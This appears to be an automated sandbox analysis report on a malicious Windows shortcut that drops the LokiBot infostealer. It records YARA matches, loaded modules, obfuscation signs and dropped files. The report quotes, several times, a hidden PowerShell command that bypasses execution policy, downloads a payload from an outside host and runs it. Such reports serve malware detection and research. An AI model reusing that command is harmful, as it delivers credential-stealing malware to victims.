Source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: screens.pif PID: 2208, type: MEMORYSTR Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: screens.pif PID: 688, type: MEMORYSTR Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: screens.pif.0.dr Static PE information: Section: j1CM!e^U ZLIB complexity 1.0003301933811801
Source: classification engine Classification label: mal100.troj.spyw.evad.winLNK@12/12@3/2
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges, 5_2_0040650A
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize, 5_2_0040434D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Desktop\screens.pif Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Mutant created: \Sessions\1\BaseNamedObjects\FDD42EE188E931437F4FBE2C
Source: C:\Users\user\Desktop\screens.pif Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6092
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5852
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmzi4otn.c2j.ps1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: Comprobante.lnk.lnk ReversingLabs: Detection: 42%
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\Desktop\screens.pif "C:\Users\user\Desktop\screens.pif"
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 80
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\Desktop\screens.pif "C:\Users\user\Desktop\screens.pif" Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Process created: C:\Users\user\Desktop\screens.pif C:\Users\user\Desktop\screens.pif Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: taskflowdataengine.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cdp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dsreg.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kdscli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: vaultcli.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: samcli.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: samlib.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Comprobante.lnk.lnk LNK file: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\screens.pif Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\screens.pif Unpacked PE file: 4.2.screens.pif.b00000.0.unpack j1CM!e^U:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
Yara detected aPLib compressed binary
Source: Yara match File source: 4.2.screens.pif.49889b8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.screens.pif.49889b8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.screens.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.screens.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1509596429.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1509596429.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1509596429.0000000002F32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2658959804.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.1517752482.0000000004988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: screens.pif PID: 2208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: screens.pif PID: 688, type: MEMORYSTR
PE file contains sections with non-standard names
Source: screens.pif.0.dr Static PE information: section name: j1CM!e^U
Source: screens.pif.0.dr Static PE information: section name:
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 0_2_00007FF7C02480FD push ebx; ret 0_2_00007FF7C024816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 0_2_00007FF7C0310D6C push eax; ret 0_2_00007FF7C0310D6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 0_2_00007FF7C0312530 pushad ; retf 0_2_00007FF7C0312531
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_00B481B8 pushfd ; ret 4_2_00B481BF
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_00B479E2 push esp; retf 4_2_00B479E8
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D5991C push esp; iretd 4_2_02D5991D
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D51503 push ss; retf 4_2_02D51504
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D59926 push esp; iretd 4_2_02D59927
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_02D51522 push ebp; retf 4_2_02D51523
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE72E9 pushfd ; retf 4_2_0ABE72EA
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE72C0 pushfd ; retf 4_2_0ABE72C1
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE73D9 pushfd ; retf 4_2_0ABE73DB
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE8306 pushfd ; retf 4_2_0ABE832E
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE58E3 push 3000005Eh; ret 4_2_0ABE58F1
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE78DA pushfd ; retf 4_2_0ABE78DB
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE7061 pushfd ; retf 4_2_0ABE7062
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE7983 pushfd ; retf 4_2_0ABE7985
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE7933 pushfd ; retf 4_2_0ABE7935
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE712D pushfd ; retf 4_2_0ABE712F
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE7918 pushfd ; retf 4_2_0ABE791A
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE710F pushfd ; retf 4_2_0ABE7110
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE7968 pushfd ; retf 4_2_0ABE796A
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE714C pushfd ; retf 4_2_0ABE714E
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE6E13 pushfd ; retf 4_2_0ABE6E1E
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE77A3 pushfd ; retf 4_2_0ABE77A4
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE77D3 pushfd ; retf 4_2_0ABE77D5
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE7CAD pushfd ; retf 4_2_0ABE7CAE
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE74DC pushfd ; retf 4_2_0ABE74DD
Source: C:\Users\user\Desktop\screens.pif Code function: 4_2_0ABE75F8 pushfd ; retf 4_2_0ABE75FA
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_00402AC0 push eax; ret 5_2_00402AD4
Source: C:\Users\user\Desktop\screens.pif Code function: 5_2_00402AC0 push eax; ret 5_2_00402AFC
Source: screens.pif.0.dr Static PE information: section name: j1CM!e^U entropy: 7.999315698306394

Persistence and Installation Behavior
barindex
Windows shortcut file (LNK) starts blacklisted processes
Source: LNK file Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Drops PE files with a suspicious file extension
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Desktop\screens.pif Jump to dropped file
Tries to download and execute files (via powershell)
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Desktop\screens.pif Jump to dropped file
Source: C:\Users\user\Desktop\screens.pif File created: C:\Users\user\AppData\Roaming\188E93\31437F.exe (copy) Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
